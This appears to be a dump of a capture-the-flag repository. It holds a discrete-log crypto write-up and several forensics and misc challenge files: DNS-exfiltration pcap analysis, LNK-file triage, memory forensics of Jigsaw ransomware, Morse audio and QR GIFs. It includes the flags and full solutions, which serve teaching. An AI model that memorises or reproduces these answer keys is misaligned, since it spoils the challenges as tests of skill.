2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, -1)\n", "$$\n", "\n", "which can be found with lattice basis reduction algorithms such as LLL.\n", "\n", "## Group Structure Part II\n", "\n", "### Group Order\n", "\n", "All we need left to solve the challenge is a way to solve the discrete logarithm problem in $\\mathcal{H}$. Determining the group order is a good first step as we could use it to try and see if there is an isomorphism between $\\mathcal{H}$ and an additive group of integers of the same order where the discrete logarithm is trivially solved by division. However, it turns out that the order of $\\mathcal{H}$ is $p+1$ and that $\\mathcal{H}$ is isomorphic to the cyclic subgroup of $\\mathbb{F}_{p^2}$ of order $p+1$. We follow a similar approach to [1] for the proof.\n", "\n", "---\n", "\n", "_**Claim.**_ Let $\\mathcal{H} \\subset \\mathbb{F}_p \\times \\mathbb{F}_p$ be the set of solutions to the equation\n", "\n", "$$\n", "x^2 + 2xy - Dy^2 \\equiv 1 \\pmod p\n", "$$\n", "\n", "Assume that $\\left(\\dfrac{D+1}{p}\\right) = -1$ (this is true for the challenge parameters). Then, $\\mathcal{H} \\cong S$ where $S \\leq \\mathbb{F}_{p^2}$ is the cyclic subgroup of $\\mathbb{F}_{p^2}$ of order $p+1$.\n", "\n", "_**Proof.**_ First, note that $(x+y)^2 - (D+1)y^2 = x^2 + 2xy - Dy^2$, so it suffices to show that the set of solutions to the equation $(x+y)^2 - (D+1)y^2 \\equiv 1 \\pmod p$ (equipped with the addition operation as defined above) is isomorphic to $S$. Let $f(W) = W^2 - (D+1)$. Note that $f(W)$ is irreducible as it is of degree 2 and has no roots, since $D+1$ has no square in $\\mathbb{F}_p$ by assumption. Therefore $\\mathbb{F}_{p^2} \\cong \\mathbb{F}_p[W]/\\langle f(W) \\rangle$. Now, if $\\alpha \\in S$, then $\\alpha^{p+1} = 1$ (since $S$ has order $p+1$). But we can write $\\alpha = r + sW$ for $r,s \\in \\mathbb{F}_p$. So,\n", "\n", "$$\n", "\\begin{aligned}\n", " \\alpha^{p+1} &= (r + sW)^p (r + sW) \\\\\n", " &= (r^p + s^pW^p)(r + sW) &&\\quad (x+y)^p = x^p + y^p \\text{ for all } x, y \\in \\mathbb{F}_p \\\\\n", " &= (r + sW^p)(r + sW) &&\\quad x^{p-1} = 1 \\text{ for all } x \\in \\mathbb{F}_p \\\\\n", " &= (r - sW)(r + sW) &&\\quad W^p = W(W^2)^{\\frac{p-1}{2}} = W(D+1)^{\\frac{p-1}{2}} = -W \\\\\n", " &= r^2 - s^2 W^2 \\\\\n", " &= r^2 - (D+1)s^2 &&\\quad W^2 = D+1\n", "\\end{aligned}\n", "$$\n", "\n", "So, if we take $r = x+y$ and $s = y$, then we see that $\\alpha^{p+1} = 1 = (x+y)^2 - (D+1)y^2$. Therefore, we have the bijection $\\varphi : \\mathcal{H} \\rightarrow S, (x, y) \\mapsto (x+y) + yW$. To see that this is a homomorphism, let $(x_1, y_1), (x_2, y_2) \\in \\mathcal{H}$. Then\n", "\n", "$$\n", "\\begin{aligned}\n", " \\varphi((x_1, y_1) \\cdot (x_2, y_2)) &= \\varphi((x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)) \\\\\n", " &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W\n", "\\end{aligned}\n", "$$\n", "\n", "But\n", "\n", "$$\n", "\\begin{aligned}\n", " \\varphi((x_1, y_1)) \\varphi((x_2, y_2)) &= ((x_1 + y_1) + y_1 W)((x_2 + y_2) + y_2 W) \\\\\n", " &= (x_1 + y_1)(x_2 + y_2) + (x_1 + y_1) y_2 W + (x_2 + y_2) y_1 W + y_1 y_2 W^2 \\\\\n", " &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W + (D+1) y_1 y_2 \\\\\n", " &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W\n", "\\end{aligned}\n", "$$\n", "\n", "So we have $\\varphi((x_1, y_1) \\cdot (x_2, y_2)) = \\varphi((x_1, y_1)) \\varphi((x_2, y_2))$.\n", "\n", "Therefore $\\varphi$ is an isomorphism, and $\\mathcal{H} \\cong S$.\n", "\n", "---\n", "\n", "If we take a look at the actual values in the challenge, we'll see that $p+1$ is smooth, with the largest factor being 32 bits! This is a hint that we're on the right path, since we'll be able to solve the discrete logarithm problem in a reasonable time with Pohlig-Hellman.\n", "\n", "### Inverse Elements\n", "\n", "By this point, we've pretty much already solved the challenge, but as a bonus, we can find the inverse elements of $\\mathcal{H}$. Although the solution script doesn't do this, this has the advantage of speed over using the isomorphism found above since the operations are slightly faster (than operations in $\\mathbb{F}_{p^2}$). Recall the addition formula\n", "\n", "$$\n", "(x, y) \\cdot (x', y') = (xx' + Dyy', xy' + x'y + 2yy')\n", "$$\n", "\n", "The identity element is clearly $(1, 0)$, so to find the inverse element of $(x, y)$, we want to find $(x', y')$ such that $(x, y) \\cdot (x', y') = (1, 0)$. Let $(x', y') = (x + 2y, -y)$. Then\n", "\n", "$$\n", "\\begin{aligned}\n", " (x, y) \\cdot (x', y') &= (x, y) \\cdot (x + 2y, -y) \\\\\n", " &= (x(x + 2y) - Dy^2, -xy + (x + 2y)y - 2y^2) \\\\\n", " &= (x^2 + 2xy - Dy^2, -xy + xy + 2y^2 - 2y^2) \\\\\n", " &= (1, 0)\n", "\\end{aligned}\n", "$$\n", "\n", "So $(x, y)^{-1} = (x + 2y, -y)$.\n", "\n", "Another advantage of figuring out inverse elements is that you can solve the challenge without finding the isomorphism to $\\mathbb{F}_{p^2}$ by _guessing_ that the order is $p+1$ since it is smooth, and then implementing Pohlig-Hellman and BSGS to use the addition, multiplication and inverse operations.\n", "\n", "## References\n", "\n", "[1] [Elliptic Curve Public Key Cryptosystems - Menezes 93](https://link.springer.com/content/pdf/10.1007%2F978-1-4615-3198-2.pdf)" ] }, { "cell_type": "markdown", "id": "disciplinary-palace", "metadata": {}, "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.2" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/yadlp/solve/writeup.md ================================================ This challenge follows a similar structure to a commonly seen style of crypto CTF challenges that involve solving the discrete logarithm problem in some group other than the usual $(\mathbb{Z}/p\mathbb{Z})^\times$. The general approach is to figure out some information about what the group elements are like, and then try to find an isomorphism from the group to a group where we can easily solve the discrete logarithm problem. ## Group Structure Part I We'll see that the group we are dealing with in the challenge is the set of points on some hyperbola over $\mathbb{F}_p$. Although the operations defined in the handout code are called "addition" and "multiplication", it'll be helpful to use multiplication and exponentiation notation. When we say "elements", we usually mean points on the hyperbola, which are represented as tuples $(x, y) \in \mathbb{F}_p \times \mathbb{F}_p$ with addition operation defined as: $$ (x_1, y_1) \cdot (x_2, y_2) = (x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2) $$ The `rand_element` function gives us even more information about elements in this group. In fact, we can use it to get an explicit relation that all elements satisfy. The function first generates a random $x \in \mathbb{F}_p$, then computes $y$ as $$ y = \frac{x + \sqrt{x^2 (D+1) - D}}{D} $$ Rearranging, we get $$ \begin{aligned} (Dy - x)^2 &= x^2(D+1) - D \\ \implies D^2 y^2 - 2Dxy + x^2 &= Dx^2 + x^2 - D \\ \implies Dx^2 + 2Dxy - D^2 y^2 &= D \\ \implies x^2 + 2xy - Dy^2 &\equiv 1 \pmod p \qquad \text{since $D \neq 0$} \end{aligned} $$ It can be checked that the set of solutions to this equation, equipped with addition operation above indeed does form a group. We'll call this group $\mathcal{H}$. Diophantine equations of the form $x^2 - Dy^2 = 1$ are known as Pell equations and are well documented in the literature. We'll see later that the equation we found from the `rand_element` can be written as a Pell equation, and use that for analysing the group even more. ## Challenge Analysis For now we'll take a look at how the flag is hidden and what we'll need to recover it. The 48 byte flag is broken up into 6 blocks of 8 bytes each. These blocks are represented as the integers $m_1, \ldots, m_6$. Then, for some randomly generated elements $g_1, \ldots, g_6$, the value $c = g_1^{m_1} \cdots g_6^{m_6}$ is computed. Given $c$ and the $g_i$, the goal is to recover the $m_i$. This is known as the t-multiple discrete logarithm problem, and in this case, we can solve it by solving the discrete logarithm problem in $\mathcal{H}$, combined with lattice techniques. Let $q$ be the order of $\mathcal{H}$ and let $g$ be a generator of $\mathcal{H}$ (we will see later that $\mathcal{H}$ is cyclic). Define the discrete logarithm to the base $g$ as $\log_g : \mathcal{H} \rightarrow \mathbb{Z}_q$, that, for any $h \in \mathcal{H}$, gives us a value $x = \log_g(h)$ such that $g^x = h$. It can be shown that this map is a homomorphism, so $\log_g(h_1 h_2) = \log_g(h_1) + \log_g(h_2)$. Therefore, $$ \begin{aligned} \log_g(c) &= \log_g(g_1^{m_1} \cdots g_6^{m_6}) \\ \log_g(c) &= \log_g(g_1^{m_1}) + \cdots + \log_g(g_6^{m_6}) \\ \log_g(c) &= m_1\log_g(g_1) + \cdots + m_6 \log_g(g_6) \\ \end{aligned} $$ Since we're working in $\mathbb{Z}_q$, we can equivalently write $$ \log_g(c) \equiv m_1\log_g(g_1) + \cdots + m_6\log_g(g_6) \pmod q $$ But since the $m_i$ are relatively small (~62 bits) compared to $q$ (which we will determine later), we can solve for the $m_i$ using lattice techniques. Specifically, consider the lattice generated by the rows of the matrix $$ \begin{bmatrix} \log_g(g_1) & 1 \\ \log_g(g_2) & & 1 \\ \vdots & & & \ddots \\ \log_g(g_6) & & & & 1 \\ \log_g(c) & & & & & 1 \\ q \end{bmatrix} $$ Notice that $m_1$ times the first row, plus $m_2$ times the second row, etc. take $1$ times the seventh row, and an appropriate multiple of the last row, gives the short vector $$ (0, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, -1) $$ which can be found with lattice basis reduction algorithms such as LLL. ## Group Structure Part II ### Group Order All we need left to solve the challenge is a way to solve the discrete logarithm problem in $\mathcal{H}$. Determining the group order is a good first step as we could use it to try and see if there is an isomorphism between $\mathcal{H}$ and an additive group of integers of the same order where the discrete logarithm is trivially solved by division. However, it turns out that the order of $\mathcal{H}$ is $p+1$ and that $\mathcal{H}$ is isomorphic to the cyclic subgroup of $\mathbb{F}_{p^2}$ of order $p+1$. We follow a similar approach to [1] for the proof. --- _**Claim.**_ Let $\mathcal{H} \subset \mathbb{F}_p \times \mathbb{F}_p$ be the set of solutions to the equation $$ x^2 + 2xy - Dy^2 \equiv 1 \pmod p $$ Assume that $\left(\dfrac{D+1}{p}\right) = -1$ (this is true for the challenge parameters). Then, $\mathcal{H} \cong S$ where $S \leq \mathbb{F}_{p^2}$ is the cyclic subgroup of $\mathbb{F}_{p^2}$ of order $p+1$. _**Proof.**_ First, note that $(x+y)^2 - (D+1)y^2 = x^2 + 2xy - Dy^2$, so it suffices to show that the set of solutions to the equation $(x+y)^2 - (D+1)y^2 \equiv 1 \pmod p$ (equipped with the addition operation as defined above) is isomorphic to $S$. Let $f(W) = W^2 - (D+1)$. Note that $f(W)$ is irreducible as it is of degree 2 and has no roots, since $D+1$ has no square in $\mathbb{F}_p$ by assumption. Therefore $\mathbb{F}_{p^2} \cong \mathbb{F}_p[W]/\langle f(W) \rangle$. Now, if $\alpha \in S$, then $\alpha^{p+1} = 1$ (since $S$ has order $p+1$). But we can write $\alpha = r + sW$ for $r,s \in \mathbb{F}_p$. So, $$ \begin{aligned} \alpha^{p+1} &= (r + sW)^p (r + sW) \\ &= (r^p + s^pW^p)(r + sW) &&\quad (x+y)^p = x^p + y^p \text{ for all } x, y \in \mathbb{F}_p \\ &= (r + sW^p)(r + sW) &&\quad x^{p-1} = 1 \text{ for all } x \in \mathbb{F}_p \\ &= (r - sW)(r + sW) &&\quad W^p = W(W^2)^{\frac{p-1}{2}} = W(D+1)^{\frac{p-1}{2}} = -W \\ &= r^2 - s^2 W^2 \\ &= r^2 - (D+1)s^2 &&\quad W^2 = D+1 \end{aligned} $$ So, if we take $r = x+y$ and $s = y$, then we see that $\alpha^{p+1} = 1 = (x+y)^2 - (D+1)y^2$. Therefore, we have the bijection $\varphi : \mathcal{H} \rightarrow S, (x, y) \mapsto (x+y) + yW$. To see that this is a homomorphism, let $(x_1, y_1), (x_2, y_2) \in \mathcal{H}$. Then $$ \begin{aligned} \varphi((x_1, y_1) \cdot (x_2, y_2)) &= \varphi((x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)) \\ &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W \end{aligned} $$ But $$ \begin{aligned} \varphi((x_1, y_1)) \varphi((x_2, y_2)) &= ((x_1 + y_1) + y_1 W)((x_2 + y_2) + y_2 W) \\ &= (x_1 + y_1)(x_2 + y_2) + (x_1 + y_1) y_2 W + (x_2 + y_2) y_1 W + y_1 y_2 W^2 \\ &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W + (D+1) y_1 y_2 \\ &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W \end{aligned} $$ So we have $\varphi((x_1, y_1) \cdot (x_2, y_2)) = \varphi((x_1, y_1)) \varphi((x_2, y_2))$. Therefore $\varphi$ is an isomorphism, and $\mathcal{H} \cong S$. --- If we take a look at the actual values in the challenge, we'll see that $p+1$ is smooth, with the largest factor being 32 bits! This is a hint that we're on the right path, since we'll be able to solve the discrete logarithm problem in a reasonable time with Pohlig-Hellman. ### Inverse Elements By this point, we've pretty much already solved the challenge, but as a bonus, we can find the inverse elements of $\mathcal{H}$. Although the solution script doesn't do this, this has the advantage of speed over using the isomorphism found above since the operations are slightly faster (than operations in $\mathbb{F}_{p^2}$). Recall the addition formula $$ (x, y) \cdot (x', y') = (xx' + Dyy', xy' + x'y + 2yy') $$ The identity element is clearly $(1, 0)$, so to find the inverse element of $(x, y)$, we want to find $(x', y')$ such that $(x, y) \cdot (x', y') = (1, 0)$. Let $(x', y') = (x + 2y, -y)$. Then $$ \begin{aligned} (x, y) \cdot (x', y') &= (x, y) \cdot (x + 2y, -y) \\ &= (x(x + 2y) - Dy^2, -xy + (x + 2y)y - 2y^2) \\ &= (x^2 + 2xy - Dy^2, -xy + xy + 2y^2 - 2y^2) \\ &= (1, 0) \end{aligned} $$ So $(x, y)^{-1} = (x + 2y, -y)$. Another advantage of figuring out inverse elements is that you can solve the challenge without finding the isomorphism to $\mathbb{F}_{p^2}$ by _guessing_ that the order is $p+1$ since it is smooth, and then implementing Pohlig-Hellman and BSGS to use the addition, multiplication and inverse operations. ## References [1] [Elliptic Curve Public Key Cryptosystems - Menezes 93](https://link.springer.com/content/pdf/10.1007%2F978-1-4615-3198-2.pdf) ================================================ FILE: forensics/Thats_Not_My_Name/README.md ================================================ # That's Not My Name **Category:** Forensics **Difficulty:** easy **Author:** Conletz#5420 I think some of my data has been stolen, can you help me? **Attached files:** - ./publish/notmyname.pcapng (sha256: 86B5E2F171191A7D7F28B7A9171AFFE929061ED9F6D10A3EDF5213EF486079E3) ================================================ FILE: forensics/Thats_Not_My_Name/challenge/flag.txt ================================================ DUCTF{c4t_g07_y0ur_n4m3} ================================================ FILE: forensics/Thats_Not_My_Name/challenge.yml ================================================ version: "0.1" id: thats-not-my-name name: That's Not My Name category: forensics description: | I think some of my data has been stolen, can you help me? Author: Conletz#5420 tags: - easy files: - ./challenge/notmyname.pcapng.7z flags: - DUCTF{c4t_g07_y0ur_n4m3} ================================================ FILE: forensics/Thats_Not_My_Name/writeup.md ================================================ # Solution 1. We've been provided with a PCAP file, and based off the challenge has been led to believe some data exfiltration is at play. First thing that comes to mind for that topic is DNS exfiltration and tunneling. To check this, we can search for unusally long dns queries in wireshark ``` dns && dns.qry.name.len > 35 ``` 2. After running that search there's plenty of traffic that seems ordinary. However, by scrolling down further we can start to see a large amount of traffic to a suspicious domain and a different IP than the rest of the DNS traffic ``` qawesrdtfgyhuj.xyz | 3.24.188.205 ``` 3. By having a look at the UDP stream, we're able to see a large amount of back and forth traffic with the same stream, which is unsual for ordinary DNS traffic. To investigate further, we can use the commandline equivalent of wireshark - tshark, to extract all queries going to this domain and save them to a file called queries.txt . ``` tshark -r notmyname.pcapng -T fields -e dns.qry.name -Y "dns.qry.name contains qawesrdtfgyhuj.xyz" > queries.txt ``` 4. Based on the outputs of the file, the subdomains appear to be hexed, so next step is to remove the domain and dots from the queries and unhex the remaining contents. To remove the extras from the file, we can use the following commands in vim ``` :%s/qawesrdtfgyhuj.xyz//g :%s/\.//g ``` 5. To unhex the file, you can write your own python script with hexlify or your personal preference, or run the file through an online tool called 'CyberChef' to change the data to ascii. 6. By running the resulting data through binwalk, we can see there's a number of png files that were delivered through to the server throughout the tunnels lifetime. However, first let's check the data we have available to us by searching for the flag one of the following ways: ``` From command line: egrep -a DUCTF{ unhexed.txt From vim: /DUCTF{ ``` 7. Here we actually found the flag within the data stream itself. ``` DUCTF{c4t_g07_y0ur_n4m3} ``` ================================================ FILE: forensics/The_File_Is_Lava/README.md ================================================ # The File is Lava **Category:** Forensics **Difficulty:** Medium **Author:** TheDone\*#2152 Acme Inc. has found that its internal files have been leaked to several successful phishing attacks. A new shared workstation recently had company files copied onto the disk for use in the office and needs to be analysed. DFIR specialists have found no evidence on other machines and need your help to investigate this workstation. Since COVID-19 has closed the office, find the forensic image here - https://mirror.aarnet.edu.au/pub/DownUnderCTF/ ================================================ FILE: forensics/The_File_Is_Lava/WRITEUP.md ================================================ # Challenge writeup ### Scenario: Forensic investigators believe this machine might have been involved to perform data exfiltration. The method used here is a straightforward way to go about the investigation. Parts of this can be scripted if the player is advanced enough to know what they are looking for. Other artefacts may also be used and other tools can be used to gather the same information. The idea behind this ctf is not based around a tool, but rather the logic of finding relevant artefacts and then applying logical thinking to spot anomalies. You are told that the machine is related to an incident in where ***data exfiltration*** was performed. This suggests that files on the system were ***moved to someplace other than where they originated***. There are many resources on how to go about windows forensics, among the best are SANS. This poster here tells us what artefacts we might look for when dealing with files that might have been accessed. ## Where do I start? I will take a look at the LNK files as they pack a lot of information, especially timestamps. Generally, someone looking to steal files will have a look at those files to know what is in them. This means they will ***access the file***. Whenever a file is accessed, a `.lnk` file is created and stays on the machine, even if the target file is deleted. These files are located in the recents folder. I will use a tool from Eric Zimmerman called `LECmd` to parse these files in a csv format. The tool is small and is a standalone executable that can be run from a USB plugged into the virtual machine. Tool link: [https://ericzimmerman.github.io/#!index.md](https://ericzimmerman.github.io/#!index.md) ⚠There are other tools to look at these, and you can even do so directly. Generally, when conducting forensics on a machine, you want to avoid disturbing forensic data. I use a USB with the tool executable file on it. I just plug in the USB, and run the tool using Command prompt. The command for the tool on my machine is as follows: ```bash LECmd.exe -d C:\Users\ductf\AppData\Roaming\Microsoft\Windows\Recent -q --csv E: ``` Note: The `E:` is the location of my USB where I want the file to be outputted. This just presents the format in a `.csv` that made it easy for me to then visually see the metadata of the `.lnk` file itself and the target file. ## The Flag When you look at the CSV file, look for the row that has "Executive Management report". If you find this row, and then scroll to see the metadata fields, namely the volume label and the localDirectory name, you will find two bits of base64 code: - RFVDVEZ7eTB1X2YwdW5kX3Ro - M19tMXNzMW5nX2wxbmt9 Put them in cyberchef and you will have the flag of `DUCTF{y0u_f0und_th3_m1ss1ng_l1nk}` This was written knowing where the flag is, but the user is might choose other tools these hidden metadata jems :) ================================================ FILE: forensics/The_File_Is_Lava/challenge.yml ================================================ version: "0.1" id: the-file-is-lava name: The File is Lava category: forensics description: | Acme Inc. has found that its internal files have been leaked to several successful phishing attacks. A new shared workstation recently had company files copied onto the disk for use in the office and needs to be analysed. DFIR specialists have found no evidence on other machines and need your help to investigate this workstation. Since COVID-19 has closed the office, find the forensic image here - https://mirror.aarnet.edu.au/pub/DownUnderCTF/ --- To give everyone a chance to download the files, the image is encrypted and the password will be released with the second challenge drop . The PIN code for the windows machine is `2021`. To decrypt the file, use any bash emulator with gpg installed and use the following command: ``` gpg --output lava.ova --decrypt The_file_is_lava.ova.gpg ``` Note: after the command is executed, you will be prompted with the passphrase that will be released later. It is recommended that you use virtual box to import this machine after it has been decrypted. Author: TheDon*#2152 tags: - medium flags: - DUCTF{y0u_f0und_th3_m1ss1ng_l1nk} ================================================ FILE: forensics/WouldYouLikeToPlayAGame/README.md ================================================ # Want to play a game? **Category:** Forensics **Difficulty:** Medium **Author:** Conletz#5420 My PC has been infected! I need help finding out what happened. I managed to get a memory dump, not sure if that can help you? In order to recover from this infection, I need the following information: - What is the name of the malware that infected my PC? - What is the name of the persistence mechanism? - What folder did the infection originate from? Flag format: `DUCTF{malwareName_persistenceName_originatingFolderName}` ================================================ FILE: forensics/WouldYouLikeToPlayAGame/challenge.yml ================================================ version: "0.1" id: want-to-play-a-game name: Want to Play a Game? category: forensics description: | My PC has been infected! I need help finding out what happened. I managed to get a memory dump, not sure if that can help you? In order to recover from this infection, I need the following information: - What is the name of the malware that infected my PC? - What is the name of the persistence mechanism? - What folder did the infection originate from? Flag format: `DUCTF{lowerCaseMalwareName_persistenceName_originatingFolderName}` --- You can download the memory dump [here](https://mirror.aarnet.edu.au/pub/DownUnderCTF/JacobsPC.7z). The file is password protected. The password is `I83xOkTzeljDmpMmZWTi`. Author: Conletz#5420 tags: - medium flags: - DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y} ================================================ FILE: forensics/WouldYouLikeToPlayAGame/flag.txt ================================================ DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y} ================================================ FILE: forensics/WouldYouLikeToPlayAGame/writeup.md ================================================ # Solution 1. First step is to determine the profile and OS of the memory dump - (with volatility) ``` vol.py -f JacobsPC.raw imageinfo ``` 2. Let's start by determining which processes were running at the time of the dump ``` vol.py -f JacobsPC.raw --profile=Win7SP1x64 pslist ``` 3. There are a large number of processes that were running on the host, however, one immediately sticks out the most - drpbx.exe (PID 3628) - diving deeper by having a look at the dll list ``` vol.py -f JacobsPC.raw --profile=Win7SP1x64 dlllist -p 3628 ``` 4. This list shows 3 points of interest, the first is a strange executable file simulating dropbox - C:\Users\Jacob\AppData\Local\Drpbx\drpbx.exe - the other two points of interest are CRYPTBASE.dll and CRYPTSP.dll. Whilst these are standard Windows dll's, these two in combination are quite common among Windows ransomware. 5. A quick google search for drpbx.exe leads to Jigsaw ransomware. The original process that is utilised by this ransomware is drpbx.exe, to maintain persistence jigsaw updates the startup registry to run an executable in the users App Data folder - ...\Roaming\Frfx\firefox.exe. We can confirm that this is the persistence method utilised in this case by running the following: ``` vol.py -f JacobsPC.raw --profile=Win7SP1x64 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run" ``` 6. The last step in to achieve the flag is to determine the originating folder name where the infection began. For this, we can have a look at the 'handles' for the drpbx.exe process. ``` vol.py -f JacobsPC.raw --profile=Win7SP1x64 handles -p 3628 -t file ``` 7. By filtering on File handles we can see files and folders related to the process. There is one folder early on in the processes memory stream that is different to the others - \Device\HarddiskVolume2\Users\Public\Videos\Sample Videos\PJxhJQ9yUDoBF1188y - this is likely the folder where the ransomware was launched from. Therefore, putting these findings together the flag is: ``` DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y} ``` ================================================ FILE: forensics/do_the_loop/README.md ================================================ # Do the loop! **Category:** misc **Difficulty:** easy **Author:** Yo_Yo_Bro Do the loop doop doop... **Flag Format:** STRING you end up with after solving challenge,case insensitive. **Attached files:** - ./publish/monorail.wav (sha256: D04502AEC1643C6F79FCB01491A0A3FBC4090965E833FFB54D2DF95DFA7FB68D) ================================================ FILE: forensics/do_the_loop/challenge/flag.txt ================================================ ICOULDLISTENTOTHISONLOOPALLDAY I COULD LISTEN TO THIS ON LOOP ALL DAY ================================================ FILE: forensics/do_the_loop/challenge.yml ================================================ version: "0.1" id: monorail name: Do the loop! category: forensics description: | "Do the loop doop doop..." Flag format: The STRING you end up with after solving challenge, case insensitive. Author: QUTWH flags: - { type: "static", content: "ICOULDLISTENTOTHISONLOOPALLDAY", data: "case_insensitive", } - { type: "static", content: "I COULD LISTEN TO THIS ON LOOP ALL DAY", data: "case_insensitive", } tags: - easy files: - ./challenge/monorail.wav ================================================ FILE: forensics/do_the_loop/writeup.md ================================================ # Do the loop! We are provided with monorail.wav, an catchy tune that sounds like it has Morse Code overlaid on it I personally use Audacity when doing any form of Morse Code related challenge as it allows me to clearly visual any spaces between words. Technical Details: 1000hz 25wpm We end up with the following Morse Code: .. -.-. --- ..- .-.. -.. .-.. .. ... - . -. - --- - .... .. ... --- -. .-.. --- --- .--. .- .-.. .-.. -.. .- -.-- Upon converting that to English we end up with the FLAG: ICOULDLISTENTOTHISONLOOPALLDAY ================================================ FILE: forensics/how-to-pronounce-gif/README.md ================================================ # How to pronounce GIF? **Category:** misc **Difficulty:** Easy **Author:** xXl33t_h@x0rXx Our machine that makes QR Codes started playing up then it just said "PC LOAD LETTER" and died. This is all we could recover... **Attached files:** - ./challenge/challenge.gif (sha256: 26e6aab55895e7ead1ffbdaa3555a16edd792aff688f4b2dbe2852913b346177) ================================================ FILE: forensics/how-to-pronounce-gif/WRITEUP.md ================================================ # How to pronounce GIF? The gif is moving fast, while you could try to record the screen or load the gif into an graphics application to see all of the frames, the quickest method would be to use online tools to extract all of the frames from the gif. An example that worked well is: [https://ezgif.com/split](https://ezgif.com/split) Extracting all of these frames (so long as you did them in order) you will notice that there are 10 sets of QR Codes, either due to the 10 "starts" or QR codes or that each is a different style and/or colour. One you've identified the 10 different QR Codes you can script the joining of image 0, 10, 20, 30, ... , 110 makes up a single QR Code, then continue for the next 9 QR Codes. Of course, you could also manually stitch these together by hand if your scripting would be slower...though the learning experience from scripting this is really the goal! The QR Codes in order: 1. bit.ly link to Youtube how to pronounce Gif 2. Text saying the princess is in another castle 3. bit.ly link to Youtube with Jimmy Barnes screaming for 10 hours 4. leetspeak saying "follow the white rabbit" 5. bit.ly to Youtube rickroll 6. ascii art of a rabbit (hopefully hint that it's next...) 7. first half of base64 flag (RFVDVEZ7YU1) 8. bit.ly link to youtube All Your Base (base64 hint) 9. second half of base64 flag (fMV9oYVhYMHJfbjB3P30=) 10. ascii art of a shocked rabbit The flag "RFVDVEZ7YU1fMV9oYVhYMHJfbjB3P30=" should be quickly identified as base64 due to the characters used (uppercase, lowercase, 0-9, =\) or the fact that it ends with an equals sign (base64 can end with 0, 1 or 2 equal signs, used as a kind of padding to make sure decoding works). Decoding this (a number of ways you can do this, though a great online site is [https://www.base64decode.org/](https://www.base64decode.org/)) will give you the flag. Hope you enjoyed it! --- ## Flag DUCTF{aM_1_haXX0r_n0w?} ================================================ FILE: forensics/how-to-pronounce-gif/challenge.yml ================================================ version: "0.1" id: how-to-pronounce-gif name: How to pronounce GIF category: forensics description: | Our machine that makes QR Codes started playing up then it just said "PC LOAD LETTER" and died. This is all we could recover... Author: xXl33t_h@x0rXx tags: - easy files: - ./challenge/challenge.gif flags: - DUCTF{aM_1_haXX0r_n0w?} ================================================ FILE: forensics/retro/README.md ================================================ # Retro **Category:** misc **Difficulty:** easy **Author:** Yo_Yo_Bro Our original logo was created in paint, I wonder what other secrets it hides? **Flag Format:** STRING you end up with after solving challenge **Attached files:** - ./publish/og.jpg (sha256: 31D73C1F418D150E9FD75A8D2D84EF35C622F5E8F4EF7E76A766922420FD0D36) ================================================ FILE: forensics/retro/challenge/flag.txt ================================================ DUCTF{sicc_paint_skillz!} ================================================ FILE: forensics/retro/challenge.yml ================================================ version: "0.1" id: hipster name: Retro! category: forensics description: | "Our original logo was created in paint, I wonder what other secrets it hides?" Author: QUTWH flags: - DUCTF{sicc_paint_skillz!} tags: - beginner files: - ./challenge/og.jpg ================================================ FILE: forensics/retro/writeup.md ================================================ # Retro We are provided with og.jpg, and the suggestion it hides a secret.. First thing i checked was the photos exif data and found the flag under the : Authors field Authors: DUCTF{sicc_paint_skillz!} so the flag was: DUCTF{sicc_paint_skillz!} ================================================ FILE: misc/builder/README.md ================================================ # Builder **Category:** misc **Difficulty:** beginner **Author:** BearArms (Cybears) In order to build your skills you need to start from a solid foundation. And the best foundations are built from bricks. **Attached files:** - ./challenge/builder.mpd (sha256: da57b7102372ddf6936e2f5464986890b26d5872c227207acd183ed7812886d8) ================================================ FILE: misc/builder/challenge/builder.mpd ================================================ 0 FILE challenge.ldr 0 Name: challenge.ldr 1 0 -960 0 0 1 0 0 0 1 0 0 0 1 DUCTF_logo.ldr 1 2 -320 0 0 1 0 0 0 1 0 0 0 1 3811.dat 1 0 -620 -12 0 1 0 0 0 1 0 0 0 1 brace.ldr 1 0 -552 -38 0 0 1 0 0 0 1 1 0 0 6184.dat 1 2 -500 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat 1 4 -536 -38 0 0 1 0 0 0 -1 -1 0 0 3023.dat 1 0 -300 -24 -40 0 0 1 0 1 0 -1 0 0 48092.dat 1 0 -260 -24 30 1 0 0 0 1 0 0 0 1 3009.dat 1 0 -300 -48 -40 -1 0 0 0 1 0 0 0 -1 48092.dat 1 0 -210 -8 -90 0 0 -1 0 1 0 1 0 0 3623.dat 1 2 -240 -8 0 0 0 -1 0 1 0 1 0 0 3956.dat 1 4 -204 -38 0 0 -1 0 0 0 -1 1 0 0 3023.dat 1 0 -150 -30 0 0 0 -1 0 1 0 1 0 0 6111.dat 1 2 -80 -8 